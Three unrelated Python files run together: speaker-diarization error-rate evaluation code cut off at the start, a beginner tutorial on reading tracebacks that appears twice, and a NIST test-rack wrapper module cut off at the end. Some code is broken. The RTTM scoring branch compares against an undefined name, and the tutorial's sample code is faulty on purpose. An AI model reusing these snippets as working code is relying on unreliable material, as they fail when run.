sentences spoken by different speakers. <Example> k-th word: "but" hyp_former: since i think like tuesday </s> <s> but he's coming back to albuquerque hyp_latter: since i think like tuesday but </s> <s> he's coming back to albuquerque The joint probabilities of words in the sentence are computed for these two hypotheses. In addition, logprob_diff_threshold parameter is used for reducing the false positive realigning. """ word_seq_len = len(word_dict_seq_list) hyp_w_dict_list, spk_list = [], [] for k, line_dict in enumerate(word_dict_seq_list): word, spk_label = line_dict['word'], line_dict['speaker_label'] hyp_w_dict_list.append(word) spk_list.append(spk_label) realigned_list = [] org_spk_list = copy.deepcopy(spk_list) for k, line_dict in enumerate(word_dict_seq_list): if self.N_range[0] < k < (word_seq_len - self.N_range[0]) and ( spk_list[k] != org_spk_list[k + 1] or spk_list[k] != org_spk_list[k - 1] ): N1, N2 = self.get_realignment_ranges(k, word_seq_len) hyp_former = self.realigning_lm.log_s( ' '.join(hyp_w_dict_list[k - N1 : k] + self.stt_end_tokens + hyp_w_dict_list[k : k + N2]) ) hyp_latter = self.realigning_lm.log_s( ' '.join(hyp_w_dict_list[k - N1 : k + 1] + self.stt_end_tokens + hyp_w_dict_list[k + 1 : k + N2]) ) log_p = [hyp_former, hyp_latter] p_order = np.argsort(log_p)[::-1] if log_p[p_order[0]] > log_p[p_order[1]] + self.realigning_lm_params['logprob_diff_threshold']: if p_order[0] == 0: spk_list[k] = org_spk_list[k + 1] line_dict['speaker_label'] = spk_list[k] realigned_list.append(line_dict) return realigned_list def get_alignment_errors(self, ctm_content, hyp_w_dict_list, mapping_dict): """ Compute various types of errors using the provided CTM file and RTTM file. The variables computed for CTM file based evaluation: error_count : Number of words that have wrong speaker labels align_error : (reference word timestamp - hypothesis word timestamp) The error metrics in ctm_error_dict variable: ref_word_count: The number of words in the reference transcript hyp_word_count: The number of words in the hypothesis diar_confuse_count: Number of incorrectly diarized words all_correct_count: Counts the word if both hypothesis word and speaker label are correct. hyp_based_wder: The number of incorrectly diarized words divided by the number of words in the hypothesis ref_based_wder: The number of incorrectly diarized words divided by the number of words in the reference transcript """ ctm_ref_word_seq, ctm_info_list = [], [] pred_word_seq, pred_info_list, pred_rttm_eval = [], [], [] for ctm_line in ctm_content: spl = ctm_line.split() ctm_ref_word_seq.append(spl[4]) ctm_info_list.append([spl[1], float(spl[2]), float(spl[3])]) for w_dict in hyp_w_dict_list: pred_rttm_eval.append(w_dict['diar_correct']) pred_word_seq.append(w_dict['word']) pred_info_list.append([w_dict['speaker_label'], w_dict['start_time'], w_dict['end_time']]) ctm_text = ' '.join(ctm_ref_word_seq) pred_text = ' '.join(pred_word_seq) diff = get_diff_text(ctm_text, pred_text) ref_word_count, hyp_word_count, all_correct_count, wder_count = 0, 0, 0, 0 ctm_error_dict = { 'ref_word_count': 0, 'hyp_word_count': 0, 'diar_confuse_count': 0, 'all_correct_count': 0, 'hyp_based_wder': 0, 'ref_based_wder': 0, } error_buffer, w_range_buffer, cumul_align_error = [], [], [] for k, d in enumerate(diff): word_seq = d[1].strip().split('\n') if d[0] == 0: if error_buffer != []: get_speaker_error_mismatch(ctm_error_dict, error_buffer, w_range_buffer, pred_rttm_eval) error_buffer, w_range_buffer = [], [] w_range = [ (ctm_error_dict['ref_word_count'], ctm_error_dict['ref_word_count'] + len(word_seq)), (ctm_error_dict['hyp_word_count'], ctm_error_dict['hyp_word_count'] + len(word_seq)), ] error_count, align_error = get_speaker_error_match( ctm_error_dict, w_range, ctm_info_list, pred_info_list, mapping_dict ) ctm_error_dict['all_correct_count'] += len(word_seq) - error_count ctm_error_dict['ref_word_count'] += len(word_seq) ctm_error_dict['hyp_word_count'] += len(word_seq) cumul_align_error += align_error elif d[0] == -1: error_buffer.append(d) w_range_buffer.append((ref_word_count, ref_word_count + len(word_seq))) ctm_error_dict['ref_word_count'] += len(word_seq) elif d[0] == 1: error_buffer.append(d) w_range_buffer.append((hyp_word_count, hyp_word_count + len(word_seq))) ctm_error_dict['hyp_word_count'] += len(word_seq) if error_buffer != []: get_speaker_error_mismatch(ctm_error_dict, error_buffer, w_range_buffer, pred_rttm_eval) ctm_error_dict['hyp_based_wder'] = round( ctm_error_dict['diar_confuse_count'] / ctm_error_dict['hyp_word_count'], 4 ) ctm_error_dict['ref_based_wder'] = round( ctm_error_dict['diar_confuse_count'] / ctm_error_dict['ref_word_count'], 4 ) ctm_error_dict['diar_trans_acc'] = round( ctm_error_dict['all_correct_count'] / ctm_error_dict['ref_word_count'], 4 ) return cumul_align_error, ctm_error_dict def get_WDER(self, total_riva_dict, DER_result_dict): """ Calculate word-level diarization error rate (WDER). WDER is calculated by counting the the wrongly diarized words and divided by the total number of words recognized by the ASR model. Args: total_riva_dict (dict): Dictionary that stores riva_dict(dict) which is indexed by uniq_id variable. DER_result_dict (dict): Dictionary that stores DER, FA, Miss, CER, mapping, the estimated number of speakers and speaker counting accuracy. ref_labels_list (list): List containing the ground truth speaker labels for each segment. Returns: wder_dict (dict): A dictionary containing WDER value for each session and total WDER. """ wder_dict, count_dict = {'session_level': {}}, {} asr_eval_dict = {'hypotheses_list': [], 'references_list': []} align_error_list = [] count_dict['total_ctm_wder_count'], count_dict['total_asr_and_spk_correct_words'] = 0, 0 ( count_dict['grand_total_ctm_word_count'], count_dict['grand_total_pred_word_count'], count_dict['grand_total_correct_word_count'], ) = (0, 0, 0) if any([self.AUDIO_RTTM_MAP[uniq_id]['ctm_filepath'] != None for uniq_id in self.AUDIO_RTTM_MAP.keys()]): if not DIFF_MATCH_PATCH: raise ImportError( 'CTM file is provided but diff_match_patch is not installed. Install diff_match_patch using PyPI: pip install diff_match_patch' ) for k, audio_file_path in enumerate(self.audio_file_list): uniq_id = get_uniqname_from_filepath(audio_file_path) error_dict = {'uniq_id': uniq_id} ref_rttm = self.AUDIO_RTTM_MAP[uniq_id]['rttm_filepath'] ref_labels = rttm_to_labels(ref_rttm) mapping_dict = DER_result_dict[uniq_id]['mapping'] hyp_w_dict_list = total_riva_dict[uniq_id]['words'] hyp_w_dict_list, word_seq_list, correct_word_count, rttm_wder = self.calculate_WDER_from_RTTM( hyp_w_dict_list, ref_labels, mapping_dict ) error_dict['rttm_based_wder'] = rttm_wder error_dict.update(DER_result_dict[uniq_id]) # If CTM files are provided, evaluate word-level diarization and wer with the CTM files. if self.AUDIO_RTTM_MAP[uniq_id]['ctm_filepath']: self.ctm_exists[uniq_id] = True ctm_content = open(self.AUDIO_RTTM_MAP[uniq_id]['ctm_filepath']).readlines() self.get_ctm_based_eval(ctm_content, error_dict, count_dict, hyp_w_dict_list, mapping_dict) else: self.ctm_exists[uniq_id] = False wder_dict['session_level'][uniq_id] = error_dict asr_eval_dict['hypotheses_list'].append(' '.join(word_seq_list)) asr_eval_dict['references_list'].append(self.AUDIO_RTTM_MAP[uniq_id]['text']) count_dict['grand_total_pred_word_count'] += len(hyp_w_dict_list) count_dict['grand_total_correct_word_count'] += correct_word_count wder_dict = self.get_wder_dict_values(asr_eval_dict, wder_dict, count_dict, align_error_list) return wder_dict def calculate_WDER_from_RTTM(self, hyp_w_dict_list, ref_labels, mapping_dict): """ Calculate word-level diarization error rate (WDER) using the provided RTTM files. If lenient_overlap_WDER is True, the words are considered to be correctly diarized if the words fall into overlapped regions that include the correct speaker labels. Note that WDER values computed from RTTM may not be accurate if the word timestamps have limited accuracy. It is recommended to use CTM files to compute an accurate evaluation result. """ correct_word_count = 0 ref_label_list = [[float(x.split()[0]), float(x.split()[1])] for x in ref_labels] ref_label_array = np.array(ref_label_list) word_seq_list = [] for w_idx in range(len(hyp_w_dict_list)): wdict = hyp_w_dict_list[w_idx] wdict['diar_correct'] = False speaker_label = wdict['speaker_label'] if speaker_label in mapping_dict: est_spk_label = mapping_dict[speaker_label] else: continue word_range = np.array( [wdict['start_time'] + self.word_ts_anchor_offset, wdict['end_time'] + self.word_ts_anchor_offset] ) word_seq_list.append(wdict['word']) word_range_tile = np.tile(word_range, (ref_label_array.shape[0], 1)) ovl_bool = self.isOverlapArray(ref_label_array, word_range_tile) if np.any(ovl_bool) == False: continue ovl_length = self.getOverlapRangeArray(ref_label_array, word_range_tile) if self.params['lenient_overlap_WDER']: ovl_length_list = list(ovl_length[ovl_bool]) max_ovl_sub_idx = np.where(ovl_length_list == np.max(ovl_length_list))[0] max_ovl_idx = np.where(ovl_bool == True)[0][max_ovl_sub_idx] ref_spk_labels = [x.split()[-1] for x in list(np.array(ref_labels)[max_ovl_idx])] if est_spk_label in ref_spk_labels: correct_word_count += 1 wdict['diar_correct'] = True else: max_ovl_sub_idx = np.argmax(ovl_length[ovl_bool]) max_ovl_idx = np.where(ovl_bool == True)[0][max_ovl_sub_idx] _, _, ref_spk_label = ref_labels[max_ovl_idx].split() if est_spk_label == ref_spk_labels: correct_word_count += 1 wdict['diar_correct'] = True hyp_w_dict_list[w_idx] = wdict rttm_wder = round(1 - (correct_word_count / len(hyp_w_dict_list)), 4) return hyp_w_dict_list, word_seq_list, correct_word_count, rttm_wder def get_ctm_based_eval(self, ctm_content, error_dict, count_dict, hyp_w_dict_list, mapping_dict): """ Calculate errors using the given CTM files. """ count_dict['grand_total_ctm_word_count'] += len(ctm_content) align_errors, ctm_error_dict = self.get_alignment_errors(ctm_content, hyp_w_dict_list, mapping_dict) count_dict['total_asr_and_spk_correct_words'] += ctm_error_dict['all_correct_count'] count_dict['total_ctm_wder_count'] += ctm_error_dict['diar_confuse_count'] self.align_error_list += align_errors error_dict.update(ctm_error_dict) def get_wder_dict_values(self, asr_eval_dict, wder_dict, count_dict, align_error_list): """ Calculate the total error rates for WDER, WER and alignment error. """ if '-' in asr_eval_dict['references_list'] or None in asr_eval_dict['references_list']: wer = -1 else: wer = word_error_rate( hypotheses=asr_eval_dict['hypotheses_list'], references=asr_eval_dict['references_list'] ) wder_dict['total_WER'] = wer wder_dict['total_wder_rttm'] = 1 - ( count_dict['grand_total_correct_word_count'] / count_dict['grand_total_pred_word_count'] ) if all(x for x in self.ctm_exists.values()) == True: wder_dict['total_wder_ctm_ref_trans'] = ( count_dict['total_ctm_wder_count'] / count_dict['grand_total_ctm_word_count'] if count_dict['grand_total_ctm_word_count'] > 0 else -1 ) wder_dict['total_wder_ctm_pred_asr'] = ( count_dict['total_ctm_wder_count'] / count_dict['grand_total_pred_word_count'] if count_dict['grand_total_pred_word_count'] > 0 else -1 ) wder_dict['total_diar_trans_acc'] = ( count_dict['total_asr_and_spk_correct_words'] / count_dict['grand_total_ctm_word_count'] if count_dict['grand_total_ctm_word_count'] > 0 else -1 ) wder_dict['total_alignment_error_mean'] = ( np.mean(self.align_error_list).round(4) if self.align_error_list != [] else -1 ) wder_dict['total_alignment_error_std'] = ( np.std(self.align_error_list).round(4) if self.align_error_list != [] else -1 ) return wder_dict def get_str_speech_labels(self, speech_labels_float): """ Convert speech_labels_float to a list that contains string values. """ speech_labels = [] for start, end in speech_labels_float: speech_labels.append("{:.3f} {:.3f} speech".format(start, end)) return speech_labels def write_result_in_csv(self, args, WDER_dict, DER_result_dict, effective_WDER): """ This function is for development use. Saves the diarization result into a csv file. """ row = [ args.asr_based_vad_threshold, WDER_dict['total'], DER_result_dict['total']['DER'], DER_result_dict['total']['FA'], DER_result_dict['total']['MISS'], DER_result_dict['total']['CER'], DER_result_dict['total']['spk_counting_acc'], effective_WDER, ] with open(os.path.join(self.root_path, args.csv), 'a') as csvfile: csvwriter = csv.writer(csvfile) csvwriter.writerow(row) def write_session_level_result_in_csv(self, WDER_dict): """ This function is for development use when a CTM file is provided. Saves the session-level diarization and ASR result into a csv file. """ target_path = f"{self.root_path}/pred_rttms/ctm_eval.csv" logging.info(f"Writing {target_path}") csv_columns = [ 'uniq_id', 'DER', 'CER', 'FA', 'MISS', 'est_n_spk', 'is_spk_count_correct', 'ref_word_count', 'hyp_word_count', 'diar_confuse_count', 'all_correct_count', 'diar_trans_acc', 'hyp_based_wder', 'ref_based_wder', 'rttm_based_wder', 'mapping', ] dict_data = [x for k, x in WDER_dict['session_level'].items()] try: with open(target_path, 'w') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=csv_columns) writer.writeheader() for data in dict_data: writer.writerow(data) except IOError: logging.info("I/O error has occurred while writing a csv file.") def break_lines(self, string_out, max_chars_in_line=90): """ Break the lines in the transcript. """ color_str_len = len('\033[1;00m') if self.params['colored_text'] else 0 split_string_out = string_out.split('\n') return_string_out = [] for org_chunk in split_string_out: buffer = [] if len(org_chunk) - color_str_len > max_chars_in_line: color_str = org_chunk[:color_str_len] if color_str_len > 0 else '' for i in range(color_str_len, len(org_chunk), max_chars_in_line): trans_str = org_chunk[i : i + max_chars_in_line] if len(trans_str.strip()) > 0: c_trans_str = color_str + trans_str buffer.append(c_trans_str) return_string_out.extend(buffer) else: return_string_out.append(org_chunk) return '\n'.join(return_string_out) def write_and_log(self, uniq_id, riva_dict, string_out, audacity_label_words, gecko_dict): """ Write output files and displays logging messages. """ ROOT = self.root_path dump_json_to_file(f'{ROOT}/pred_rttms/{uniq_id}.json', riva_dict) dump_json_to_file(f'{ROOT}/pred_rttms/{uniq_id}_gecko.json', gecko_dict) write_txt(f'{ROOT}/pred_rttms/{uniq_id}.txt', string_out.strip()) write_txt(f'{ROOT}/pred_rttms/{uniq_id}.w.label', '\n'.join(audacity_label_words)) def print_errors(self, DER_result_dict, WDER_dict): """ Print a slew of error metrics for ASR and Diarization. """ if all(x for x in self.ctm_exists.values()) == True: self.write_session_level_result_in_csv(WDER_dict) logging.info( f"\nDER : {DER_result_dict['total']['DER']:.4f} \ \nFA : {DER_result_dict['total']['FA']:.4f} \ \nMISS : {DER_result_dict['total']['MISS']:.4f} \ \nCER : {DER_result_dict['total']['CER']:.4f} \ \nrttm WDER : {WDER_dict['total_wder_rttm']:.4f} \ \nCTM WDER Ref. : {WDER_dict['total_wder_ctm_ref_trans']:.4f} \ \nCTM WDER ASR Hyp. : {WDER_dict['total_wder_ctm_pred_asr']:.4f} \ \nCTM diar-trans Acc.: {WDER_dict['total_diar_trans_acc']:.4f} \ \nmanifest text WER : {WDER_dict['total_WER']:.4f} \ \nalignment Err. : Mean: {WDER_dict['total_alignment_error_mean']:.4f} STD:{WDER_dict['total_alignment_error_std']:.4f} \ \nSpk. counting Acc. : {DER_result_dict['total']['spk_counting_acc']:.4f}" ) else: logging.info( f"\nDER : {DER_result_dict['total']['DER']:.4f} \ \nFA : {DER_result_dict['total']['FA']:.4f} \ \nMISS : {DER_result_dict['total']['MISS']:.4f} \ \nCER : {DER_result_dict['total']['CER']:.4f} \ \nWDER : {WDER_dict['total_wder_rttm']:.4f} \ \nWER : {WDER_dict['total_WER']:.4f} \ \nSpk. counting acc.: {DER_result_dict['total']['spk_counting_acc']:.4f}" ) def print_time(self, speaker, start_point, end_point, params, previous_string=None, replace_time=False): """ Print a transcript with speaker labels and timestamps. """ if not previous_string: string_out = '' else: string_out = previous_string if params['colored_text']: color = self.color_palette.get(speaker, '\033[0;37m') else: color = '' datetime_offset = 16 * 3600 if float(start_point) > 3600: time_str = "%H:%M:%S.%f" else: time_str = "%M:%S.%f" start_point, end_point = max(float(start_point), 0), max(float(end_point), 0) start_point_str = datetime.fromtimestamp(start_point - datetime_offset).strftime(time_str)[:-4] end_point_str = datetime.fromtimestamp(end_point - datetime_offset).strftime(time_str)[:-4] if replace_time: old_start_point_str = string_out.split('\n')[-1].split(' - ')[0].split('[')[-1] word_sequence = string_out.split('\n')[-1].split(' - ')[-1].split(':')[-1].strip() + ' ' string_out = '\n'.join(string_out.split('\n')[:-1]) time_str = "[{} - {}] ".format(old_start_point_str, end_point_str) else: time_str = "[{} - {}] ".format(start_point_str, end_point_str) word_sequence = '' if not params['print_time']: time_str = '' strd = "\n{}{}{}: {}".format(color, time_str, speaker, word_sequence.lstrip()) return string_out + strd @staticmethod def threshold_non_speech(source_list, params): return list(filter(lambda x: x[1] - x[0] > params['asr_based_vad_threshold'], source_list)) @staticmethod def get_effective_WDER(DER_result_dict, WDER_dict): return 1 - ( (1 - (DER_result_dict['total']['FA'] + DER_result_dict['total']['MISS'])) * (1 - WDER_dict['total']) ) @staticmethod def isOverlapArray(rangeA, rangeB): startA, endA = rangeA[:, 0], rangeA[:, 1] startB, endB = rangeB[:, 0], rangeB[:, 1] return (endA > startB) & (endB > startA) @staticmethod def getOverlapRangeArray(rangeA, rangeB): left = np.max(np.vstack((rangeA[:, 0], rangeB[:, 0])), axis=0) right = np.min(np.vstack((rangeA[:, 1], rangeB[:, 1])), axis=0) return right - left @staticmethod def get_audacity_label(word, stt_sec, end_sec, speaker): spk = speaker.split('_')[-1] return f'{stt_sec}\t{end_sec}\t[{spk}] {word}' @staticmethod def print_word(string_out, word, params): word = word.strip() return string_out + word + " " @staticmethod def softmax(logits): e = np.exp(logits - np.max(logits)) return e / e.sum(axis=-1).reshape([logits.shape[0], 1]) @staticmethod def get_num_of_spk_from_labels(labels): spk_set = [x.split(' ')[-1].strip() for x in labels] return len(set(spk_set)) @staticmethod def add_json_to_dict(riva_dict, word, stt, end, speaker): riva_dict['words'].append({'word': word, 'start_time': stt, 'end_time': end, 'speaker_label': speaker})
# Intro to Error Handling. """ Python has long history with errors., error are specially useful as they make code more readable. We'll learn how you can create them, use them, or deal with them., at this very beginner stage no like errors. """ print(variable) """ Now, notice here, i haven't created my variable before printing it out, and the editor is already showing an error. So, this code is perfectly reasonable in terms of syntax, python doesn't know whether it exist or not. We got a NameError ** Traceback (most recent call last): File "C:/Users/user/Desktop/Python/Introduction/error.py", line 8, in <module> print(variable) NameError: name 'variable' is not defined ** Here, Traceback is also known as StackTrace., this tells that where the error took place. """ # A Complex Traceback example """ It is important for you to read all these tracebacks, so you can solve your own errors. ** Traceback (most recent call last): File "/Users/Pythobit/Course/Python/Intro/error.py", line 53, in <module> menu() File "/Users/Pythobit/Course/Python/Intro/error.py", line 10, in menu show_movies() File "/Users/Pythobit/Course/Python/Intro/error.py", line 36, in show_movies show_movie_details(movie) File "/Users/Pythobit/Course/Python/Intro/error.py", line 40, in show_movie_details print(f"Name: {movies["name"]}") TypeError: list indices must be integers or slices, not str ** 1. At Every bottom, it gives you the error that was raised and a description. (i.e: TypeError: list indices must be integers or slices, not str) 2. what line of your code raised the error. (i.e: line 53, in <module>) 3. What function that line is in (i.e: line 40, in show_movie_details) 4. What function called the function that line is in, (i.e: File "/Users/Pythobit/Course/Python/Intro/error.py", line 40, in show_movie_details print(f"Name: {movies["name"]}") ) 5. This shows same as above function called this function, similarly show_movies, and so-on, until you reach the file that you executed. """ """ ## CODE THAT RAISED THE ERROR..! ## *** def add_movie(): name = input("Enter the movie name: ") director = input("Enter the director: ") year = input("Enter the release year: ") movies.append({ 'name' : name, 'director' : director, 'year' : year }) def show_movies(movies_list): for movie in movie_list: show_movie_details(movie) def show_movie_details(movie): print(f"Name: {movies["name"]}") print(f"Director: {movie["director"]}") print(f"Year: {movie["year"]}") *** // I'm sure that you remember this code, as we written this in our first milestone project 1 Error in line..! print(f"Name: {movies["name"]}") * Here, We're accessing dictionary, but here as in line 80, we defined a list and movie parameter is passed as an dictionary from show_movies function. ## TIPS TO GET ERROR RESOLVED EASILY. ## 1. Look at your code. 2. Put the error message onto google, see if something comes up in stackoverflow. 3. Look at your code, this time more slowly, run through it as, if you were a machine/computer, do you notice that could potentially be some of error. 4. Run only some part of code in isolation, that'll help you to identify which part of your code is giving error. 5. Use a Debugger ( We'll learn in next couple lectures, PyCharm has an excellent debugger., debugger helps you to stop at any line containing error line by line.) """
# Intro to Error Handling. """ Python has long history with errors., error are specially useful as they make code more readable. We'll learn how you can create them, use them, or deal with them., at this very beginner stage no like errors. """ print(variable) """ Now, notice here, i haven't created my variable before printing it out, and the editor is already showing an error. So, this code is perfectly reasonable in terms of syntax, python doesn't know whether it exist or not. We got a NameError ** Traceback (most recent call last): File "C:/Users/user/Desktop/Python/Introduction/error.py", line 8, in <module> print(variable) NameError: name 'variable' is not defined ** Here, Traceback is also known as StackTrace., this tells that where the error took place. """ # A Complex Traceback example """ It is important for you to read all these tracebacks, so you can solve your own errors. ** Traceback (most recent call last): File "/Users/Pythobit/Course/Python/Intro/error.py", line 53, in <module> menu() File "/Users/Pythobit/Course/Python/Intro/error.py", line 10, in menu show_movies() File "/Users/Pythobit/Course/Python/Intro/error.py", line 36, in show_movies show_movie_details(movie) File "/Users/Pythobit/Course/Python/Intro/error.py", line 40, in show_movie_details print(f"Name: {movies['name']}") TypeError: list indices must be integers or slices, not str ** 1. At Every bottom, it gives you the error that was raised and a description. (i.e: TypeError: list indices must be integers or slices, not str) 2. what line of your code raised the error. (i.e: line 53, in <module>) 3. What function that line is in (i.e: line 40, in show_movie_details) 4. What function called the function that line is in, (i.e: File "/Users/Pythobit/Course/Python/Intro/error.py", line 40, in show_movie_details print(f"Name: {movies['name']}") ) 5. This shows same as above function called this function, similarly show_movies, and so-on, until you reach the file that you executed. """ """ ## CODE THAT RAISED THE ERROR..! ## *** def add_movie(): name = input("Enter the movie name: ") director = input("Enter the director: ") year = input("Enter the release year: ") movies.append({ 'name' : name, 'director' : director, 'year' : year }) def show_movies(movies_list): for movie in movie_list: show_movie_details(movie) def show_movie_details(movie): print(f"Name: {movies['name']}") print(f"Director: {movie['director']}") print(f"Year: {movie['year']}") *** // I'm sure that you remember this code, as we written this in our first milestone project 1 Error in line..! print(f"Name: {movies['name']}") * Here, We're accessing dictionary, but here as in line 80, we defined a list and movie parameter is passed as an dictionary from show_movies function. ## TIPS TO GET ERROR RESOLVED EASILY. ## 1. Look at your code. 2. Put the error message onto google, see if something comes up in stackoverflow. 3. Look at your code, this time more slowly, run through it as, if you were a machine/computer, do you notice that could potentially be some of error. 4. Run only some part of code in isolation, that'll help you to identify which part of your code is giving error. 5. Use a Debugger ( We'll learn in next couple lectures, PyCharm has an excellent debugger., debugger helps you to stop at any line containing error line by line.) """
# This software was developed by employees of the National Institute of # Standards and Technology (NIST), an agency of the Federal Government. # Pursuant to title 17 United States Code Section 105, works of NIST employees # are not subject to copyright protection in the United States and are # considered to be in the public domain. Permission to freely use, copy, # modify, and distribute this software and its documentation without fee is # hereby granted, provided that this notice and disclaimer of warranty appears # in all copies. # # THE SOFTWARE IS PROVIDED 'AS IS' WITHOUT ANY WARRANTY OF ANY KIND, EITHER # EXPRESSED, IMPLIED, OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, ANY WARRANTY # THAT THE SOFTWARE WILL CONFORM TO SPECIFICATIONS, ANY IMPLIED WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND FREEDOM FROM # INFRINGEMENT, AND ANY WARRANTY THAT THE DOCUMENTATION WILL CONFORM TO THE # SOFTWARE, OR ANY WARRANTY THAT THE SOFTWARE WILL BE ERROR FREE. IN NO EVENT # SHALL NIST BE LIABLE FOR ANY DAMAGES, INCLUDING, BUT NOT LIMITED TO, DIRECT, # INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES, ARISING OUT OF, RESULTING FROM, # OR IN ANY WAY CONNECTED WITH THIS SOFTWARE, WHETHER OR NOT BASED UPON # WARRANTY, CONTRACT, TORT, OR OTHERWISE, WHETHER OR NOT INJURY WAS SUSTAINED # BY PERSONS OR PROPERTY OR OTHERWISE, AND WHETHER OR NOT LOSS WAS SUSTAINED # FROM, OR AROSE OUT OF THE RESULTS OF, OR USE OF, THE SOFTWARE OR SERVICES # PROVIDED HEREUNDER. Distributions of NIST software should also include # copyright and licensing statements of any third-party software that are # legally bundled with the code in compliance with the conditions of those # licenses. import contextlib import copy import importlib import inspect import logging import sys import time import traceback from functools import wraps from pathlib import Path import pandas as pd from . import _device as core from . import util as util EMPTY = inspect.Parameter.empty @contextlib.contextmanager def null_context(owner): yield owner class notify: """Singleton notification handler shared by all Rack instances""" # the global mapping of references to notification callbacks _handlers = dict(returns=set(), calls=set()) @classmethod def clear(cls): cls._handlers = dict(returns=set(), calls=set()) @classmethod def return_event(cls, returned: dict): if not isinstance(returned, dict): raise TypeError(f"returned data was {repr(returned)}, which is not a dict") for handler in cls._handlers["returns"]: handler(returned) @classmethod def call_event(cls, parameters: dict): if not isinstance(parameters, dict): raise TypeError( f"parameters data was {repr(parameters)}, which is not a dict" ) for handler in cls._handlers["calls"]: handler(parameters) @classmethod def observe_returns(cls, handler): if not callable(handler): raise AttributeError(f"{repr(handler)} is not callable") cls._handlers["returns"].add(handler) @classmethod def observe_calls(cls, handler): if not callable(handler): raise AttributeError(f"{repr(handler)} is not callable") cls._handlers["calls"].add(handler) @classmethod def unobserve_returns(cls, handler): if not callable(handler): raise AttributeError(f"{repr(handler)} is not callable") cls._handlers["returns"].remove(handler) @classmethod def unobserve_calls(cls, handler): if not callable(handler): raise AttributeError(f"{repr(handler)} is not callable") cls._handlers["calls"].remove(handler) class Method(util.Ownable): """Wrapper for class methods to support use with Sequence""" def __init__(self, owner, name, kwdefaults={}): super().__init__() def ownable(obj, name): return isinstance(getattr(self._owner, name), util.Ownable) self._owner = owner cls = owner.__class__ obj = getattr(cls, name) if isinstance(obj, Method): self._wrapped = obj._wrapped self._kwdefaults = dict(obj._kwdefaults) else: self._wrapped = obj self._kwdefaults = kwdefaults # self.__call__.__name__ = self.__name__ = obj.__name__ # self.__qualname__ = obj.__qualname__ self.__doc__ = obj.__doc__ self.__name__ = name self.__qualname__ = getattr(obj, "__qualname__", obj.__class__.__qualname__) self._introspect() setattr(owner, name, self) @classmethod def from_method(self, method): """make a new Method instance by copying another""" return Method(method._owner, method.__name__, method._kwdefaults) def __copy__(self): return self.from_method(self) def __deepcopy__(self, memo=None): return self.from_method(self) def _introspect(self): """update self.__signature__""" self.__call__ = util.copy_func(self.__call__) # note the devices needed to execute this function if isinstance(self._owner, Rack): annotations = getattr(self._owner, "__annotations__", {}) # set logic to identify Device dependencies available = {getattr(self._owner, name) for name in annotations} accessed = { getattr(self._owner, name) for name in util.accessed_attributes(self._wrapped) if not name.startswith("_") and hasattr(self._owner, name) } self.dependencies = available.intersection(accessed) else: self.dependencies = set() # get the signature, apply parameter defaults from self._kwdefaults sig = inspect.signature(self._wrapped) sig = sig.replace( parameters=( p.replace(default=self._kwdefaults.get(k, p.default)) for k, p in sig.parameters.items() ) ) # set the call signature shown by help(), or with ? in ipython/jupyter self.__call__.__signature__ = sig # remember only named keywords, not "*args" and "**kwargs" in call signatures SKIP_KINDS = ( inspect._ParameterKind.VAR_KEYWORD, inspect._ParameterKind.VAR_POSITIONAL, ) # self.args = list(sig.parameters.keys())[1:] # skip 'self' argument self._parameters = [ p for p in sig.parameters.values() if p.kind not in SKIP_KINDS ][1:] def set_kwdefault(self, name, value): self._kwdefaults[name] = value sig = self.__call__.__signature__ update = {name: sig.parameters[name].replace(default=value)} sig = sig.replace(parameters=dict(sig.parameters, **update).values()) self.__call__.__signature__ = sig # if value is EMPTY: # self._kwdefaults.pop(name, None) # elif name not in self.__signature__.parameters: # raise TypeError(f"{self} has no keyword argument {repr(name)}") # else: # self._kwdefaults[name] = value # self._introspect() # if value is EMPTY: # del self._kwdefaults[name] # else: # self._kwdefaults[name] = value # self.introspect() def extended_signature(self): """maps extended keyword argument names into a copy of self.__call__.__signature__""" sig = self.__call__.__signature__ ext_names = self.extended_argname_names() params = list(sig.parameters.values())[1:] return sig.replace( parameters=[param.replace(name=k) for k, param in zip(ext_names, params)] ) def extended_argname_names(self): sig = self.__call__.__signature__ prefix = self._owner.__name__ + "_" names = list(sig.parameters.keys())[1:] return [prefix + name for name in names] @util.hide_in_traceback def extended_argname_call(self, *args, **kws): """rename keywords from the long form used by an owning class""" i = len(self._owner.__name__) + 1 # remove the leading name of the owner kws = {k[i:]: v for k, v in kws.items()} return self.__call__(*args, **kws) @util.hide_in_traceback def __call__(self, *args, **kws): # validate arguments against the signature inspect.signature(self.__call__).bind(*args, **kws) # ensure that required devices are connected closed = [dev._owned_name for dev in self.dependencies if not dev.isopen] if len(closed) > 0: closed = ", ".join(closed) raise ConnectionError( f"devices {closed} must be connected to invoke {self.__qualname__}" ) # notify observers about the parameters passed name_prefix = "_".join(self._owner._owned_name.split(".")[1:]) + "_" if len(kws) > 0: notify_params = {name_prefix + k: v for k, v in kws.items()} notify.call_event(notify_params) # invoke the wrapped function t0 = time.perf_counter() ret = self._wrapped(self._owner, *args, **kws) elapsed = time.perf_counter() - t0 if elapsed > 0.1: util.logger.debug(f"{self._owned_name} completed in {elapsed:0.2f}s") # notify observers about the returned value if ret is not None: need_notify = ( ret if isinstance(ret, dict) else {name_prefix + self.__name__: ret} ) notify.return_event(need_notify) return {} if ret is None else ret def __repr__(self): try: wrapped = repr(self._wrapped)[1:-1] return f"<{wrapped} wrapped by {type(self).__module__}.{type(self).__name__} object>" except AttributeError: return f"<{type(self).__module__}.{type(self).__name__} wrapper>" class BoundSequence(util.Ownable): """callable realization of a test sequence definition which takes the place of Sequence objects on instantiation of a new Rack object. its keyword arguments are aggregated from all of the methods called by the Sequence. """ @util.hide_in_traceback def __call__(self, **kwargs): # validate arguments against the signature inspect.signature(self.__call__).bind(**kwargs) ret = {} for i, (name, sequence) in enumerate(self.sequence.items()): step_kws = self._step(sequence, kwargs) util.logger.debug( f"{self.__objclass__.__qualname__}.{self.__name__} ({i+1}/{len(self.sequence)}) - '{name}'" ) ret.update(util.concurrently(**step_kws) or {}) util.logger.debug(f"{self.__objclass__.__qualname__}.{self.__name__} finished") return ret @classmethod def to_template(cls, path): if path is None: path = f"{cls.__name__} template.csv" util.logger.debug(f"writing csv template to {repr(path)}") params = inspect.signature(cls.__call__).parameters df = pd.DataFrame(columns=list(params)[1:]) df.index.name = "Condition name" df.to_csv(path) def iterate_from_csv(self, path): """call the BoundSequence for each row in a csv table. keyword argument names are taken from the column header (0th row). keyword values are taken from corresponding column in each row. """ table = pd.read_csv(path, 